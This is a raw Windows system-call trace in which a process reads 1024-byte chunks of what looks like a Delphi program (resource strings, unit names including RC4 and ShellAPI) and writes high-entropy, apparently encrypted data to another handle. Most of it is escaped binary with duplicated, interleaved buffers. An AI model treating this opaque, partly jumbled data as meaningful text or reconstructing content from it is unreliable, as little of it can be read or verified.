 01116  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\304\257\2\0\200\2\0\0\344\4\0\0\0\0\0\0D\262\2\0\20\0\0\0\344\4\0\0\0\0\0\0T\262\2\0$\1\0\0\344\4\0\0\0\0\0\0x\263\2\0\21u\2\0\344\4\0\0\0\0\0\0\214(\5\0\0B\0\0\344\4\0\0\0\0\0\0\6\0D\0V\0C\0L\0A\0L\0\13\0P\0A\0C\0K\0A\0G\0E\0I\0N\0F\0O\0\3\0R\0F\0W\0\3\0S\0T\0R\0\0\0\33\0F\0a\0i\0l\0e\0d\0 \0t\0o\0 \0g\0e\0t\0 \0d\0a\0t\0a\0 \0f\0o\0r\0 \0'\0%\0s\0'\0\33\0F\0a\0i\0l\0e\0d\0 \0t\0o\0 \0s\0e\0t\0 \0d\0a\0t\0a\0 \0f\0o\0r\0 \0'\0%\0s\0'\0\35\0C\0a\0n\0v\0a\0s\0 \0d\0o\0e\0s\0 \0n\0o\0t\0 \0a\0l\0l\0o\0w\0 \0d\0r\0a\0w\0i\0n\0g\0\16\0O\0L\0E\0 \0e\0r\0r\0o\0r\0 \0%\0.\08\0x\0.\0M\0e\0t\0h\0o\0d\0 \0'\0%\0s\0'\0 \0n\0o\0t\0 \0s\0u\0p\0p\0o\0r\0t\0e\0d\0 \0b\0y\0 \0a\0u\0t\0o\0m\0a\0t\0i\0o\0n\0 \0o\0b\0j\0e\0c\0t\0/\0V\0a\0r\0i\0a\0n\0t\0 \0d\0o\0e\0s\0 \0n\0o\0t\0 \0r\0e\0f\0e\0r\0e\0n\0c\0e\0 \0a\0n\0 \0a\0u\0t\0", ) , ) == 0x0
 01117  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "l\334\267\10\330h\361\223\302\222\301\177\222N\315\312\?\212oa\336&\260\210\201i5q\211\250k\7\277\256\227\352h"\200\243\365\4}\261C\202\2274\324*\305\212}\323\342\216\234\273\13R\354\305\375\340\256A\260\16\25\201_\261\317\260\242R\21LY\242}[\255\364\27\316o\205\271;tw)\375f\34\366\300\365\36\300%I\2419\212\335q\234\367\2766\344\212\271O\243p\213\37\226G\201\323`\324\275\14\214~\35\301n\322\5\356\323\265\275\321:d\211\24iNR\371\361\336;f\203\371O\343\311\207\371lT\306k\333X\322\332\264j[\32\240\37\3023\3474Y\326\371\274+\1\226\261\255\24\235\273\251\272\325\2075\227\342\273m%\350iP\347OD\6#\207T\3055\3445\320\264\252\277\21\250*\373:Y\241\3354k\362\32e\177\207\303\33Z\373\321\342,\312GQ\30\227\332=\250\312\205\3#0!\214\233\3611\265\303\30\22\230\346>\32S\21#\15`A>5y\237\305\310(\246b\237\320\230\236v\22\357\366\231N!K'\343X\243\2\367\337v\23\342d!,\356>\263x\243\210'q\356\373D\212\235\301\15a\27\177\327~\204\264r\357T\251EH\235H\356\352\321\270\201e)_\37\345\23\221\373\227\337co\333\335\36\32y\15'\357\232S\323\210^\276\274\373O\274xf\320\362\354_k\7m\4(\34\327\222f\375@a\6\371\344\244\363T\240E\224=\214\276\200\265\310%rmG8\25\252dg\17\220\201282p.\376t\263\373\254N\373\35 AIO\333\344\301\33\200\23\251\36\226HC\365vv\213\253\252\301CZ]\1\370\0\314z\314\364\354]\304\357\13\16W\326\334\202\216QgQ\3370\266`\253\327\13\207\24\331,\256\231\207\3771\32\353\335\336\364d\345", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \200\243\365\4}\261C\202\2274\324*\305\212}\323\342\216\234\273\13R\354\305\375\340\256A\260\16\25\201_\261\317\260\242R\21LY\242}[\255\364\27\316o\205\271;tw)\375f\34\366\300\365\36\300%I\2419\212\335q\234\367\2766\344\212\271O\243p\213\37\226G\201\323`\324\275\14\214~\35\301n\322\5\356\323\265\275\321:d\211\24iNR\371\361\336;f\203\371O\343\311\207\371lT\306k\333X\322\332\264j[\32\240\37\3023\3474Y\326\371\274+\1\226\261\255\24\235\273\251\272\325\2075\227\342\273m%\350iP\347OD\6#\207T\3055\3445\320\264\252\277\21\250*\373:Y\241\3354k\362\32e\177\207\303\33Z\373\321\342,\312GQ\30\227\332=\250\312\205\3#0!\214\233\3611\265\303\30\22\230\346>\32S\21#\15`A>5y\237\305\310(\246b\237\320\230\236v\22\357\366\231N!K'\343X\243\2\367\337v\23\342d!,\356>\263x\243\210'q\356\373D\212\235\301\15a\27\177\327~\204\264r\357T\251EH\235H\356\352\321\270\201e)_\37\345\23\221\373\227\337co\333\335\36\32y\15'\357\232S\323\210^\276\274\373O\274xf\320\362\354_k\7m\4(\34\327\222f\375@a\6\371\344\244\363T\240E\224=\214\276\200\265\310%rmG8\25\252dg\17\220\201282p.\376t\263\373\254N\373\35 AIO\333\344\301\33\200\23\251\36\226HC\365vv\213\253\252\301CZ]\1\370\0\314z\314\364\354]\304\357\13\16W\326\334\202\216QgQ\3370\266`\253\327\13\207\24\331,\256\231\207\3771\32\353\335\336\364d\345", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01118  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, " \0b\0o\0u\0n\0d\0s\0 \0(\0%\0d\0)\0\35\0L\0i\0s\0t\0 \0c\0o\0u\0n\0t\0 \0o\0u\0t\0 \0o\0f\0 \0b\0o\0u\0n\0d\0s\0 \0(\0%\0d\0)\0\35\0L\0i\0s\0t\0 \0i\0n\0d\0e\0x\0 \0o\0u\0t\0 \0o\0f\0 \0b\0o\0u\0n\0d\0s\0 \0(\0%\0d\0)\0\7\0J\0a\0n\0u\0a\0r\0y\0\10\0F\0e\0b\0r\0u\0a\0r\0y\0\5\0M\0a\0r\0c\0h\0\5\0A\0p\0r\0i\0l\0\3\0M\0a\0y\0\4\0J\0u\0n\0e\0\4\0J\0u\0l\0y\0\6\0A\0u\0g\0u\0s\0t\0\11\0S\0e\0p\0t\0e\0m\0b\0e\0r\0\7\0O\0c\0t\0o\0b\0e\0r\0\10\0N\0o\0v\0e\0m\0b\0e\0r\0\10\0D\0e\0c\0e\0m\0b\0e\0r\0\3\0S\0u\0n\0\3\0M\0o\0n\0\3\0T\0u\0e\0\3\0W\0e\0d\0\16\0A\0b\0s\0t\0r\0a\0c\0t\0 \0E\0r\0r\0o\0r\0?\0A\0c\0c\0e\0s\0s\0 \0v\0i\0o\0l\0a\0t\0i\0o\0n\0 \0a\0t\0 \0a\0d\0d\0r\0e\0s\0s\0 \0%\0p\0 \0i\0n\0 \0m\0o\0d\0u\0l\0e\0 \0'\0%\0s\0'\0.\0 \0%\0s\0 \0o\0f\0 \0a\0d\0d\0r\0e\0s\0s\0", ) , ) == 0x0
 01119  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\354F\205\231W#\214z\340\30h\33\263\225\27\210\365\315Ri\362\265\231n\177\26\5\336\2078*\265\12\265l\20B\350\335\362\246\330\330\271\357T'\355\205\11G\353\342\264\301M\242-\331\341\372\274\4SdU\14f>\200a\203x\251\333;_\336H\223\35\272\372f\247\233\365\324w\214u\242\310\204>\344\2052V\244\312\333\16\252s\0\37\24\347\34\10sJ:\206\27E"\203\265\247W\3329y/D\231$hf\335\226^\312\304\343F\177{\311%\235_\27\10a\346O\16\342\11\353\311\241\10\277I\10x\346\207^\2\374\265\317}\212\352\311\27\241L\357\367\243\371\255\227\317%?\261\254J\271\327\356\3Y\264\227Gf\206;\10p\327\30J$\355l\353\200,OHyn-Rq\212\21FS\214\203v\267}\322\3435`g\377\310\20\336r\316Y$\305~j\234[\265Vbg37\353B`\352y6\252o\265CD\"\356\325\234\361\270?a*\210V"\271k\251:\275\226\335\314\311\11\323\231\316p&\276\226\270\371\277\5\177\223:\343\301p\3525\2763\30\14\2\16\264\275;\5\354\272P\7{\223\331\365\243?8\33\330\333\250Y\364,&]\212\364a\10\30\220\3\210\236\254\250:tB\233>w\234\315\301-\332\302\367k\212\347=@\340Xe\262\254\267K,\356KJ\350\201>\230\251\305\331~\305\211u\212G\202\371\366l\244\4\254\220\230\310lZx\341\340\337\306\353\354\314\10\320'\2778\223\260\321\231\25\317\311\272\364\13\302;IRN\250V\326G\217B:\366\355J\275\335\207o`E\20\360jB\266\346\356\225\177l\242\374\2772D\306%s.{\367\327CS\361\335\12\324\300\324\317\265\6\237\250V\227,\306d#\327FB`\35\236\253\234\302\275\342\6V", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \203\265\247W\3329y/D\231$hf\335\226^\312\304\343F\177{\311%\235_\27\10a\346O\16\342\11\353\311\241\10\277I\10x\346\207^\2\374\265\317}\212\352\311\27\241L\357\367\243\371\255\227\317%?\261\254J\271\327\356\3Y\264\227Gf\206;\10p\327\30J$\355l\353\200,OHyn-Rq\212\21FS\214\203v\267}\322\3435`g\377\310\20\336r\316Y$\305~j\234[\265Vbg37\353B`\352y6\252o\265CD\ (92, 0, 0, 0, "\354F\205\231W#\214z\340\30h\33\263\225\27\210\365\315Ri\362\265\231n\177\26\5\336\2078*\265\12\265l\20B\350\335\362\246\330\330\271\357T'\355\205\11G\353\342\264\301M\242-\331\341\372\274\4SdU\14f>\200a\203x\251\333;_\336H\223\35\272\372f\247\233\365\324w\214u\242\310\204>\344\2052V\244\312\333\16\252s\0\37\24\347\34\10sJ:\206\27E"\203\265\247W\3329y/D\231$hf\335\226^\312\304\343F\177{\311%\235_\27\10a\346O\16\342\11\353\311\241\10\277I\10x\346\207^\2\374\265\317}\212\352\311\27\241L\357\367\243\371\255\227\317%?\261\254J\271\327\356\3Y\264\227Gf\206;\10p\327\30J$\355l\353\200,OHyn-Rq\212\21FS\214\203v\267}\322\3435`g\377\310\20\336r\316Y$\305~j\234[\265Vbg37\353B`\352y6\252o\265CD\"\356\325\234\361\270?a*\210V"\271k\251:\275\226\335\314\311\11\323\231\316p&\276\226\270\371\277\5\177\223:\343\301p\3525\2763\30\14\2\16\264\275;\5\354\272P\7{\223\331\365\243?8\33\330\333\250Y\364,&]\212\364a\10\30\220\3\210\236\254\250:tB\233>w\234\315\301-\332\302\367k\212\347=@\340Xe\262\254\267K,\356KJ\350\201>\230\251\305\331~\305\211u\212G\202\371\366l\244\4\254\220\230\310lZx\341\340\337\306\353\354\314\10\320'\2778\223\260\321\231\25\317\311\272\364\13\302;IRN\250V\326G\217B:\366\355J\275\335\207o`E\20\360jB\266\346\356\225\177l\242\374\2772D\306%s.{\367\327CS\361\335\12\324\300\324\317\265\6\237\250V\227,\306d#\327FB`\35\236\253\234\302\275\342\6V", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \271k\251:\275\226\335\314\311\11\323\231\316p&\276\226\270\371\277\5\177\223:\343\301p\3525\2763\30\14\2\16\264\275;\5\354\272P\7{\223\331\365\243?8\33\330\333\250Y\364,&]\212\364a\10\30\220\3\210\236\254\250:tB\233>w\234\315\301-\332\302\367k\212\347=@\340Xe\262\254\267K,\356KJ\350\201>\230\251\305\331~\305\211u\212G\202\371\366l\244\4\254\220\230\310lZx\341\340\337\306\353\354\314\10\320'\2778\223\260\321\231\25\317\311\272\364\13\302;IRN\250V\326G\217B:\366\355J\275\335\207o`E\20\360jB\266\346\356\225\177l\242\374\2772D\306%s.{\367\327CS\361\335\12\324\300\324\317\265\6\237\250V\227,\306360\35#>d#\327FB`\35\236\253\234\302\275\342\6V", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01120  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "i\0a\0n\0t\0 \0o\0f\0 \0t\0y\0p\0e\0 \0(\0%\0s\0)\0 \0i\0n\0t\0o\0 \0t\0y\0p\0e\0 \0(\0%\0s\0)\0=\0O\0v\0e\0r\0f\0l\0o\0w\0 \0w\0h\0i\0l\0e\0 \0c\0o\0n\0v\0e\0r\0t\0i\0n\0g\0 \0v\0a\0r\0i\0a\0n\0t\0 \0o\0f\0 \0t\0y\0p\0e\0 \0(\0%\0s\0)\0 \0i\0n\0t\0o\0 \0t\0y\0p\0e\0 \0(\0%\0s\0)\0\20\0V\0a\0r\0i\0a\0n\0t\0 \0o\0v\0e\0r\0f\0l\0o\0w\0\20\0I\0n\0v\0a\0l\0i\0d\0 \0a\0r\0g\0u\0m\0e\0n\0t\0\24\0I\0n\0v\0a\0l\0i\0d\0 \0v\0a\0r\0i\0a\0n\0t\0 \0t\0y\0p\0e\0\27\0O\0p\0e\0r\0a\0t\0i\0o\0n\0 \0n\0o\0t\0 \0s\0u\0p\0p\0o\0r\0t\0e\0d\0\30\0U\0n\0e\0x\0p\0e\0c\0t\0e\0d\0 \0v\0a\0r\0i\0a\0n\0t\0 \0e\0r\0r\0o\0r\0\25\0E\0x\0t\0e\0r\0n\0a\0l\0 \0e\0x\0c\0e\0p\0t\0i\0o\0n\0 \0%\0x\0\20\0A\0s\0s\0e\0r\0t\0i\0o\0n\0 \0f\0a\0i\0l\0e\0d\0\27\0I\0n\0t\0e\0r\0f\0a\0c\0e\0 \0n\0o\0", ) , ) == 0x0
 01121  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "'\0q\244\332\2Vb\5X\245(00\335\333\344tg\327\261\325\17r\302\362\15[3\2\367c\237s,:`\343\252^g\275\372\207\201\303\277$\373\311\365\306\15 \204\236Ki{\267-\277.\272w(\347\214>\311\346CP\251R\240\265\201(\234V\210t\257h\204\236E\334\346\214\367\325\177\247$3Y \211\215\3567\311\311\306\303w\26\320\326V\371\351\31T\17K{5J\220\356e\271\312P\324}2\345\257\33gR\273\227\247f\11\2138x\334\274\240\200I/)\275\26\363zp\342\217Je\27\227o\361\1779\4\225\35\16\277\3778\240d\311\337a^\205\14)\242\337DF\331\362w\300\254\16B\213\35\302B\310\361\242\232\361EB\333\305\347H\206^'H_\324\26D\371\257\346te\335\337\23\232M\26=\212\373qu\267%\3061\310\36\25\262\13\302\3749\320\225\200\266\6\177\373'B*\205e=\376\222\236V\2542\240\365\370??d\16\247\1\M<'R\215\352\252\246\240T}\333\204\225)\325\3168'r\201!\243\14\347\271:\302!\14Z\203\304g\205\10\225\23\353\374\270y\315\177\14e&\27\314 \362\317\372\352\335q\366\12\24\234\254\26\270n\200|\260[\0\324\231\257X\210N\223\375SaAr\200\30\2019\201\36\3168\327#\235?\347\202')\340 \316l`v\234\200\7\277\221\253\354v\333\241FJ\22\14\215\0TV~l\276\337\32N\204pgk>"\301:\232\250\347\377\310:\227\223\245c\6S_\311f;*eEx\271\26`\245a\326\240\\372E\207\211z\232-\250Er\220|\211\207\14\245\221a\210\351K\356\201\16/\3363\265\336n1\221\214\245\234\26S\2100R\230\10\207\263)|\243AT}p+^\246,\226\336\3400;72\227W", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \301:\232\250\347\377\310:\227\223\245c\6S_\311f;*eEx\271\26`\245a\326\240\\372E\207\211z\232-\250Er\220|\211\207\14\245\221a\210\351K\356\201\16/\3363\265\336n1\221\214\245\234\26S\2100R\230\10\207\263)|\243AT}p+^\246,\226\336\3400;72\227W", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01122  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "%\0s\0\15\0\12\0\21\0A\0p\0p\0l\0i\0c\0a\0t\0i\0o\0n\0 \0E\0r\0r\0o\0r\01\0F\0o\0r\0m\0a\0t\0 \0'\0%\0s\0'\0 \0i\0n\0v\0a\0l\0i\0d\0 \0o\0r\0 \0i\0n\0c\0o\0m\0p\0a\0t\0i\0b\0l\0e\0 \0w\0i\0t\0h\0 \0a\0r\0g\0u\0m\0e\0n\0t\0\33\0N\0o\0 \0a\0r\0g\0u\0m\0e\0n\0t\0 \0f\0o\0r\0 \0f\0o\0r\0m\0a\0t\0 \0'\0%\0s\0'\0"\0V\0a\0r\0i\0a\0n\0t\0 \0m\0e\0t\0h\0o\0d\0 \0c\0a\0l\0l\0s\0 \0n\0o\0t\0 \0s\0u\0p\0p\0o\0r\0t\0e\0d\0\4\0R\0e\0a\0d\0\5\0W\0r\0i\0t\0e\0$\0E\0r\0r\0o\0r\0 \0c\0r\0e\0a\0t\0i\0n\0g\0 \0v\0a\0r\0i\0a\0n\0t\0 \0o\0r\0 \0s\0a\0f\0e\0 \0a\0r\0r\0a\0y\0)\0V\0a\0r\0i\0a\0n\0t\0 \0o\0r\0 \0s\0a\0f\0e\0 \0a\0r\0r\0a\0y\0 \0i\0n\0d\0e\0x\0 \0o\0u\0t\0 \0o\0f\0 \0b\0o\0u\0n\0d\0s\0\0\0\15\0O\0u\0t\0 \0o\0f\0 \0m\0e\0m\0o\0r\0y\0\14\0I\0/\0O\0 \0e\0r\0r\0o\0r\0", ) \0V\0a\0r\0i\0a\0n\0t\0 \0m\0e\0t\0h\0o\0d\0 \0c\0a\0l\0l\0s\0 \0n\0o\0t\0 \0s\0u\0p\0p\0o\0r\0t\0e\0d\0\4\0R\0e\0a\0d\0\5\0W\0r\0i\0t\0e\0$\0E\0r\0r\0o\0r\0 \0c\0r\0e\0a\0t\0i\0n\0g\0 \0v\0a\0r\0i\0a\0n\0t\0 \0o\0r\0 \0s\0a\0f\0e\0 \0a\0r\0r\0a\0y\0)\0V\0a\0r\0i\0a\0n\0t\0 \0o\0r\0 \0s\0a\0f\0e\0 \0a\0r\0r\0a\0y\0 \0i\0n\0d\0e\0x\0 \0o\0u\0t\0 \0o\0f\0 \0b\0o\0u\0n\0d\0s\0\0\0\15\0O\0u\0t\0 \0o\0f\0 \0m\0e\0m\0o\0r\0y\0\14\0I\0/\0O\0 \0e\0r\0r\0o\0r\0", ) == 0x0
 01123  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\330\237\240\275\230\265\237\261\245AO\255L\366:\316(\244\12k\350V\231\270,\2625\201\316\331(\350\375s\257hZ\303\244\336\22\205r\324l\36\213p\17\27\5\20\323\370\274\205\201\355\240X:\2\353\365\203":'PK\267s}'\12\234\207P%\321\204\222\0D\32hZ\11\217\222\300\346\202\35\336\257Z\6\337\232\342\3625%\36\215\13\315\276]\301xf\307\206\14\245\334\350\273.\10)\225\371\234\361\1\324\300=e)T\332\314\326"\204q\35ChC3N\0Z\267d,C\242uq\307\235\364R\335x\316\240k\34012\370I\326\274G#b\351\336O\326K\322\311/\200\301\13x%=\250\2063\21\260 RN?\252\237\254| B\245\246\214\346f\355w\2\322\13\373\270)\301{\350\\336\261\253\22!\377\24\214\345\346\7\237\377\266\247\322\330\12\10\3123D\6B\251\231\355\20\370\274H>\326\257\203\270\304\213L\37\312\11\250=\354\246pN\22\345\5I\210\350WP\20\255\254U\262)\302\275\325G\344\311\314L\255\235i\247\315\213\16\203\254\300\324\251WU\230\343\4i!\5gVe5G\331\333\266|>\212\2Y\277\243[v9\347\21B\273\261\231\345\273\241\42I<\352\373U\247\303\256t[\256g\323\2071\1vS\240\21\327N\222\266}x%F\33\344\345\206\245\265\13]L\226\201\355\6|\266\217\234aDN\262&\267i\363WL\372\321\372\367jAIQ\332\352\300,\201\275A\266<>\304P\237\2520\263\251\6\34_\356\275\241\1^\254W\307\326\9!\233\241\247wx\310\17f\233\31\35M\266]5yL\205*\276\262\212oAi)\322\20v]'R\273VR\303\224\10W\376\236K\354e\205\264=\232\2627?\371\361%\304k\327\226\5P%]\243w\21", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) :'PK\267s}'\12\234\207P%\321\204\222\0D\32hZ\11\217\222\300\346\202\35\336\257Z\6\337\232\342\3625%\36\215\13\315\276]\301xf\307\206\14\245\334\350\273.\10)\225\371\234\361\1\324\300=e)T\332\314\326 (92, 0, 0, 0, "\330\237\240\275\230\265\237\261\245AO\255L\366:\316(\244\12k\350V\231\270,\2625\201\316\331(\350\375s\257hZ\303\244\336\22\205r\324l\36\213p\17\27\5\20\323\370\274\205\201\355\240X:\2\353\365\203":'PK\267s}'\12\234\207P%\321\204\222\0D\32hZ\11\217\222\300\346\202\35\336\257Z\6\337\232\342\3625%\36\215\13\315\276]\301xf\307\206\14\245\334\350\273.\10)\225\371\234\361\1\324\300=e)T\332\314\326"\204q\35ChC3N\0Z\267d,C\242uq\307\235\364R\335x\316\240k\34012\370I\326\274G#b\351\336O\326K\322\311/\200\301\13x%=\250\2063\21\260 RN?\252\237\254| B\245\246\214\346f\355w\2\322\13\373\270)\301{\350\\336\261\253\22!\377\24\214\345\346\7\237\377\266\247\322\330\12\10\3123D\6B\251\231\355\20\370\274H>\326\257\203\270\304\213L\37\312\11\250=\354\246pN\22\345\5I\210\350WP\20\255\254U\262)\302\275\325G\344\311\314L\255\235i\247\315\213\16\203\254\300\324\251WU\230\343\4i!\5gVe5G\331\333\266|>\212\2Y\277\243[v9\347\21B\273\261\231\345\273\241\42I<\352\373U\247\303\256t[\256g\323\2071\1vS\240\21\327N\222\266}x%F\33\344\345\206\245\265\13]L\226\201\355\6|\266\217\234aDN\262&\267i\363WL\372\321\372\367jAIQ\332\352\300,\201\275A\266<>\304P\237\2520\263\251\6\34_\356\275\241\1^\254W\307\326\9!\233\241\247wx\310\17f\233\31\35M\266]5yL\205*\276\262\212oAi)\322\20v]'R\273VR\303\224\10W\376\236K\354e\205\264=\232\2627?\371\361%\304k\327\226\5P%]\243w\21", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01124  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, " \0o\0v\0e\0r\0f\0l\0o\0w\0\30\0F\0l\0o\0a\0t\0i\0n\0g\0 \0p\0o\0i\0n\0t\0 \0u\0n\0d\0e\0r\0f\0l\0o\0w\0&=O8\302\2027\270\363$B\3\27\233:\203\1\0\20\314\0\0\0\0\33\0\0\0\1dStub\0\20FComObj\0\20qComConst\0\0\201SysInit\0\0\307System\0\20\2SysUtils\0\20\264ImageHlp\0\14KWindows\0\20UTypes\0\20\235SysConst\0\20sActiveX\0\143Messages\0\20CVariants\0\20$VarUtils\0\20+Graphics\0\20\307Consts\0\08Registry\0\20"RTLConsts\0\20\335IniFiles\0\20^Classes\0\20QTypInfo\0\0\325retCompress\0\0cMessengerAPI_TLB\0\20\354StdVCL\0\14*ShellAPI\0\0kRC4\0\0\270Px\0\0\0\3\22\34>\265S3\2\273%\5n%\10z8\13zU.?\264Q_\262!M\264"\20\22*u8%v8\3!\30\33\177\311w\20 !&_\3)\15\232)\10\362,\224\246C\277\276x\313\311\310l\320\301:\265\305p\25\37\364\34\36\\252\257\261#'5v\255\256\275*.}E\353\13\254\3202hi\3307r \211z:\325a=?\31\354\310V v\250\265%\6\254\241", ) RTLConsts\0\20\335IniFiles\0\20^Classes\0\20QTypInfo\0\0\325retCompress\0\0cMessengerAPI_TLB\0\20\354StdVCL\0\14*ShellAPI\0\0kRC4\0\0\270Px\0\0\0\3\22\34>\265S3\2\273%\5n%\10z8\13zU.?\264Q_\262!M\264 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, " \0o\0v\0e\0r\0f\0l\0o\0w\0\30\0F\0l\0o\0a\0t\0i\0n\0g\0 \0p\0o\0i\0n\0t\0 \0u\0n\0d\0e\0r\0f\0l\0o\0w\0&=O8\302\2027\270\363$B\3\27\233:\203\1\0\20\314\0\0\0\0\33\0\0\0\1dStub\0\20FComObj\0\20qComConst\0\0\201SysInit\0\0\307System\0\20\2SysUtils\0\20\264ImageHlp\0\14KWindows\0\20UTypes\0\20\235SysConst\0\20sActiveX\0\143Messages\0\20CVariants\0\20$VarUtils\0\20+Graphics\0\20\307Consts\0\08Registry\0\20"RTLConsts\0\20\335IniFiles\0\20^Classes\0\20QTypInfo\0\0\325retCompress\0\0cMessengerAPI_TLB\0\20\354StdVCL\0\14*ShellAPI\0\0kRC4\0\0\270Px\0\0\0\3\22\34>\265S3\2\273%\5n%\10z8\13zU.?\264Q_\262!M\264"\20\22*u8%v8\3!\30\33\177\311w\20 !&_\3)\15\232)\10\362,\224\246C\277\276x\313\311\310l\320\301:\265\305p\25\37\364\34\36\\252\257\261#'5v\255\256\275*.}E\353\13\254\3202hi\3307r \211z:\325a=?\31\354\310V v\250\265%\6\254\241", ) , ) == 0x0
 01125  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "j\26\316\25\256p\304\302\373\240wSx0\360\230\20\0~E\331\377\234\272I\37l\331\256f\346\374\211\330\17\364\300-'\300F\316O\262\265\272\345\354\177b\251\34\2101\356\317\322\241\263qd%J\36\200 $\267\262\344*\314;&\21\356_\274\213\17\3447\303=zN\6J\364\310bbg\301\2109\37\362\370\315!\314$]\210"\212L\303\260m\306'\337\363\216\11\235\374W+\314\300\37\213\37\253K\3548\37\346\363\305%Nh\372\301\302\247\247\336\377\217\337\353\232\273\304\310\375?\275\340B{\376\356\373\3\20oY\341\27\276\177\277\240Y\374%\365\301\340\370\4\273\365\3006Q\277\2\361\30\213I\345\257B\324kt\206\353\25K\303C\36\274=!\36\376\372\260\275Z\16\313\371\224\321g\371\213\356\216q\244>}~\226\362\207\316m\304K\323$\300\32\303\1W\272AIt\376\245\352\203\335\334\211)\222\342\256\21\34K\263O\35+i\261\344\222\247\217\201\207V\351\253\373\317\200\22\22\10\255\1\250\343\224;\327X}/\230?H\225ap("\363\347,\22\257\207D[\366\342A\204\241L\13\314>\272'p3\335'\177\270Q\266\2\270\21\2013\236\212\363\357\238\253@;\34Wk}\252\373\301@YX\17\27\301\0\35\224\217\226\260\230\331\340\277&\343\244!\25", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \212L\303\260m\306'\337\363\216\11\235\374W+\314\300\37\213\37\253K\3548\37\346\363\305%Nh\372\301\302\247\247\336\377\217\337\353\232\273\304\310\375?\275\340B{\376\356\373\3\20oY\341\27\276\177\277\240Y\374%\365\301\340\370\4\273\365\3006Q\277\2\361\30\213I\345\257B\324kt\206\353\25K\303C\36\274=!\36\376\372\260\275Z\16\313\371\224\321g\371\213\356\216q\244>}~\226\362\207\316m\304K\323$\300\32\303\1W\272AIt\376\245\352\203\335\334\211)\222\342\256\21\34K\263O\35+i\261\344\222\247\217\201\207V\351\253\373\317\200\22\22\10\255\1\250\343\224;\327X}/\230?H\225ap(222\3d\34z\321\242\332\341\213\264kG\223\14\236E\177f\20\306\200\1\337A\224\341\0!\263o;\304\312\231S\32\303\211'\20k0Q\\200u\333\301:\27kT\252\30\202m\33\30\350\217k\224r\7\266\274\16|\21\350\364\3279\3702\215\1\251\12z\220\245\345\367\251L\200\207S\247u\277\32B@\202fi\256\226m\335\252\325\362\353v\34ib\210s@s\360qg\311\242*\352\311\327V\321Z} (92, 0, 0, 0, "j\26\316\25\256p\304\302\373\240wSx0\360\230\20\0~E\331\377\234\272I\37l\331\256f\346\374\211\330\17\364\300-'\300F\316O\262\265\272\345\354\177b\251\34\2101\356\317\322\241\263qd%J\36\200 $\267\262\344*\314;&\21\356_\274\213\17\3447\303=zN\6J\364\310bbg\301\2109\37\362\370\315!\314$]\210"\212L\303\260m\306'\337\363\216\11\235\374W+\314\300\37\213\37\253K\3548\37\346\363\305%Nh\372\301\302\247\247\336\377\217\337\353\232\273\304\310\375?\275\340B{\376\356\373\3\20oY\341\27\276\177\277\240Y\374%\365\301\340\370\4\273\365\3006Q\277\2\361\30\213I\345\257B\324kt\206\353\25K\303C\36\274=!\36\376\372\260\275Z\16\313\371\224\321g\371\213\356\216q\244>}~\226\362\207\316m\304K\323$\300\32\303\1W\272AIt\376\245\352\203\335\334\211)\222\342\256\21\34K\263O\35+i\261\344\222\247\217\201\207V\351\253\373\317\200\22\22\10\255\1\250\343\224;\327X}/\230?H\225ap("\363\347,\22\257\207D[\366\342A\204\241L\13\314>\272'p3\335'\177\270Q\266\2\270\21\2013\236\212\363\357\238\253@;\34Wk}\252\373\301@YX\17\27\301\0\35\224\217\226\260\230\331\340\277&\343\244!\25", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01126  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\21_\171D\14H\12\264\10\260\6:\265\3\251\1\245$\274"\36\271\37\215\35\221\33\235\31'\226\26\356\24\346\22\376\200\347\15\357\13\327\11\337\7\231\324\4\310\2\304\177\221l]\224\374!&\23C\36\307\31\12\340\352/$E,0b\316'\327\356u46\263\275\36\33<0\265\267\2178\1\36\31\243\3452#\212\215&&x)<',"\177/\17\2034fe\336%8\326\273\3779?\4\374;\270K\225\356\310\240 \327$S`;h\240]\353\251G/\357Sw3ad\274B\238\35\375\177\30\35??\30\14\224\252;\10\341%\344\240\1h\3\250(*/\354(6%\2620.341\311"\270\3458:<\276\306>o\26.\336A4\240\346b3\346\247J(&*$,". 0\316=3;597795;3=1?\24\34\342\21\37/!-#+%)'')%+#-\321 0>2<4:6886:4<2>\300\24\34\22\36\20 .",$*%$\243\347\241\357\255%nE1Y22\2\225(]<;j{8\371><\37\364\23\2\2772a&\343%\351&$-h\312,\210\11\276/3\2672\16dVX\317\331"r\32};\327\2156\324\274oU\340\7'(v\243\347\177]\252=\257\25..D \262l0%\211\2674\262\375d\265\14~dE\337w\2u 